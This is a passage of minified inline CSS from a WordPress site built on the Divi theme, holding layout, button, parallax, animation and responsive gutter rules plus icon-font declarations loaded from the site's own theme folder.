solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<style id="divi-dynamic-critical-inline-css">
@font-face{font-family:ETmodules;font-display:block;src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot);src:url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.eot?#iefix) format("embedded-opentype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.woff) format("woff"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.ttf) format("truetype"),url(//haggai-bf.org/wp-content/themes/Divi/core/admin/fonts/modules/all/modules.svg#ETmodules) format("svg");font-weight:400;font-style:normal}
@media (min-width:981px){.et_pb_gutters3 .et_pb_column,.et_pb_gutters3.et_pb_row .et_pb_column{margin-right:5.5%}.et_pb_gutters3 .et_pb_column_4_4,.et_pb_gutters3.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters3 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:2.75%}.et_pb_gutters3 .et_pb_column_3_4,.et_pb_gutters3.et_pb_row .et_pb_column_3_4{width:73.625%}.et_pb_gutters3 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:3.735%}.et_pb_gutters3 .et_pb_column_2_3,.et_pb_gutters3.et_pb_row .et_pb_column_2_3{width:64.833%}.et_pb_gutters3 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:4.242%}.et_pb_gutters3 .et_pb_column_3_5,.et_pb_gutters3.et_pb_row .et_pb_column_3_5{width:57.8%}.et_pb_gutters3 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:4.758%}.et_pb_gutters3 .et_pb_column_1_2,.et_pb_gutters3.et_pb_row .et_pb_column_1_2{width:47.25%}.et_pb_gutters3 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:5.82%}.et_pb_gutters3 .et_pb_column_2_5,.et_pb_gutters3.et_pb_row .et_pb_column_2_5{width:36.7%}.et_pb_gutters3 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:7.493%}.et_pb_gutters3 .et_pb_column_1_3,.et_pb_gutters3.et_pb_row .et_pb_column_1_3{width:29.6667%}.et_pb_gutters3 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:9.27%}.et_pb_gutters3 .et_pb_column_1_4,.et_pb_gutters3.et_pb_row .et_pb_column_1_4{width:20.875%}.et_pb_gutters3 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:13.174%}.et_pb_gutters3 .et_pb_column_1_5,.et_pb_gutters3.et_pb_row .et_pb_column_1_5{width:15.6%}.et_pb_gutters3 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:17.628%}.et_pb_gutters3 .et_pb_column_1_6,.et_pb_gutters3.et_pb_row .et_pb_column_1_6{width:12.0833%}.et_pb_gutters3 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters3.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:22.759%}.et_pb_gutters3 .et_full_width_page.woocommerce-page ul.products li.product{width:20.875%;margin-right:5.5%;margin-bottom:5.5%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:28.353%;margin-right:7.47%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-1 li.product{width:100%;margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product,.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li.product{width:48%;margin-right:4%}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(2n+2){margin-right:0}.et_pb_gutters3.et_left_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1),.et_pb_gutters3.et_right_sidebar.woocommerce-page #main-content ul.products.columns-2 li:nth-child(3n+1){clear:none}}
@media (min-width:981px){.et_pb_gutter.et_pb_gutters1 #left-area{width:75%}.et_pb_gutter.et_pb_gutters1 #sidebar{width:25%}.et_pb_gutters1.et_right_sidebar #left-area{padding-right:0}.et_pb_gutters1.et_left_sidebar #left-area{padding-left:0}.et_pb_gutter.et_pb_gutters1.et_right_sidebar #main-content .container:before{right:25%!important}.et_pb_gutter.et_pb_gutters1.et_left_sidebar #main-content .container:before{left:25%!important}.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin-right:0}.et_pb_gutters1 .et_pb_column_4_4,.et_pb_gutters1.et_pb_row .et_pb_column_4_4{width:100%}.et_pb_gutters1 .et_pb_column_4_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_4_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_4,.et_pb_gutters1.et_pb_row .et_pb_column_3_4{width:75%}.et_pb_gutters1 .et_pb_column_3_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_3,.et_pb_gutters1.et_pb_row .et_pb_column_2_3{width:66.667%}.et_pb_gutters1 .et_pb_column_2_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_3_5,.et_pb_gutters1.et_pb_row .et_pb_column_3_5{width:60%}.et_pb_gutters1 .et_pb_column_3_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_3_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_2,.et_pb_gutters1.et_pb_row .et_pb_column_1_2{width:50%}.et_pb_gutters1 .et_pb_column_1_2 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_2 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_2_5,.et_pb_gutters1.et_pb_row .et_pb_column_2_5{width:40%}.et_pb_gutters1 .et_pb_column_2_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_2_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_3,.et_pb_gutters1.et_pb_row .et_pb_column_1_3{width:33.3333%}.et_pb_gutters1 .et_pb_column_1_3 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_3 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_4,.et_pb_gutters1.et_pb_row .et_pb_column_1_4{width:25%}.et_pb_gutters1 .et_pb_column_1_4 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_4 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_5,.et_pb_gutters1.et_pb_row .et_pb_column_1_5{width:20%}.et_pb_gutters1 .et_pb_column_1_5 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_5 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_column_1_6,.et_pb_gutters1.et_pb_row .et_pb_column_1_6{width:16.6667%}.et_pb_gutters1 .et_pb_column_1_6 .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column_1_6 .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_full_width_page.woocommerce-page ul.products li.product{width:25%;margin-right:0;margin-bottom:0}.et_pb_gutters1.et_left_sidebar.woocommerce-page #main-content ul.products li.product,.et_pb_gutters1.et_right_sidebar.woocommerce-page #main-content ul.products li.product{width:33.333%;margin-right:0}}@media (max-width:980px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}.et_pb_gutters1 .et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1 .et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1 .et_pb_row_5col>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_1-2_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-4_1-4_1-2>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_1-5_1-5_3-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_3-5_1-5_1-5>.et_pb_column.et_pb_column_1_5,.et_pb_gutters1.et_pb_row_4col>.et_pb_column.et_pb_column_1_4,.et_pb_gutters1.et_pb_row_5col>.et_pb_column.et_pb_column_1_5{width:50%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1 .et_pb_row_6col>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-2_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-2>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_6col>.et_pb_column.et_pb_column_1_6{width:33.333%;margin-right:0}.et_pb_gutters1 .et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6,.et_pb_gutters1.et_pb_row_1-6_1-6_1-6_1-6>.et_pb_column.et_pb_column_1_6{width:50%;margin-right:0}}@media (max-width:767px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}@media (max-width:479px){.et_pb_gutters1 .et_pb_column,.et_pb_gutters1.et_pb_row .et_pb_column{margin:0!important}.et_pb_gutters1 .et_pb_column .et_pb_module,.et_pb_gutters1.et_pb_row .et_pb_column .et_pb_module{margin-bottom:0}}
#et-secondary-menu li,#top-menu li{word-wrap:break-word}.nav li ul,.et_mobile_menu{border-color:#2EA3F2}.mobile_menu_bar:before,.mobile_menu_bar:after,#top-menu li.current-menu-ancestor>a,#top-menu li.current-menu-item>a{color:#2EA3F2}#main-header{-webkit-transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out;transition:background-color 0.4s, color 0.4s, transform 0.4s, opacity 0.4s ease-in-out, -webkit-transform 0.4s}#main-header.et-disabled-animations *{-webkit-transition-duration:0s !important;transition-duration:0s !important}.container{text-align:left;position:relative}.et_fixed_nav.et_show_nav #page-container{padding-top:80px}.et_fixed_nav.et_show_nav.et-tb #page-container,.et_fixed_nav.et_show_nav.et-tb-has-header #page-container{padding-top:0 !important}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled #page-container{padding-top:111px}.et_fixed_nav.et_show_nav.et_secondary_nav_enabled.et_header_style_centered #page-container{padding-top:177px}.et_fixed_nav.et_show_nav.et_header_style_centered #page-container{padding-top:147px}.et_fixed_nav #main-header{position:fixed}.et-cloud-item-editor #page-container{padding-top:0 !important}.et_header_style_left #et-top-navigation{padding-top:33px}.et_header_style_left #et-top-navigation nav>ul>li>a{padding-bottom:33px}.et_header_style_left .logo_container{position:absolute;height:100%;width:100%}.et_header_style_left #et-top-navigation .mobile_menu_bar{padding-bottom:24px}.et_hide_search_icon #et_top_search{display:none !important}#logo{width:auto;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out;margin-bottom:0;max-height:54%;display:inline-block;float:none;vertical-align:middle;-webkit-transform:translate3d(0, 0, 0)}.et_pb_svg_logo #logo{height:54%}.logo_container{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}span.logo_helper{display:inline-block;height:100%;vertical-align:middle;width:0}.safari .centered-inline-logo-wrap{-webkit-transform:translate3d(0, 0, 0);-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et-define-logo-wrap img{width:100%}.gecko #et-define-logo-wrap.svg-logo{position:relative !important}#top-menu-nav,#top-menu{line-height:0}#et-top-navigation{font-weight:600}.et_fixed_nav #et-top-navigation{-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}.et-cart-info span:before{content:"\e07a";margin-right:10px;position:relative}nav#top-menu-nav,#top-menu,nav.et-menu-nav,.et-menu{float:left}#top-menu li{display:inline-block;font-size:14px;padding-right:22px}#top-menu>li:last-child{padding-right:0}.et_fullwidth_nav.et_non_fixed_nav.et_header_style_left #top-menu>li:last-child>ul.sub-menu{right:0}#top-menu a{color:rgba(0,0,0,0.6);text-decoration:none;display:block;position:relative;-webkit-transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out;transition:opacity 0.4s ease-in-out, background-color 0.4s ease-in-out}#top-menu-nav>ul>li>a:hover{opacity:0.7;-webkit-transition:all 0.4s ease-in-out;transition:all 0.4s ease-in-out}#et_search_icon:before{content:"\55";font-size:17px;left:0;position:absolute;top:-3px}#et_search_icon:hover{cursor:pointer}#et_top_search{float:right;margin:3px 0 0 22px;position:relative;display:block;width:18px}#et_top_search.et_search_opened{position:absolute;width:100%}.et-search-form{top:0;bottom:0;right:0;position:absolute;z-index:1000;width:100%}.et-search-form input{width:90%;border:none;color:#333;position:absolute;top:0;bottom:0;right:30px;margin:auto;background:transparent}.et-search-form .et-search-field::-ms-clear{width:0;height:0;display:none}.et_search_form_container{-webkit-animation:none;animation:none;-o-animation:none}.container.et_search_form_container{position:relative;opacity:0;height:1px}.container.et_search_form_container.et_pb_search_visible{z-index:999;-webkit-animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeInTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1)}.et_pb_search_visible.et_pb_no_animation{opacity:1}.et_pb_search_form_hidden{-webkit-animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 1);animation:fadeOutTop 1s 1 cubic-bezier(0.77, 0, 0.175, 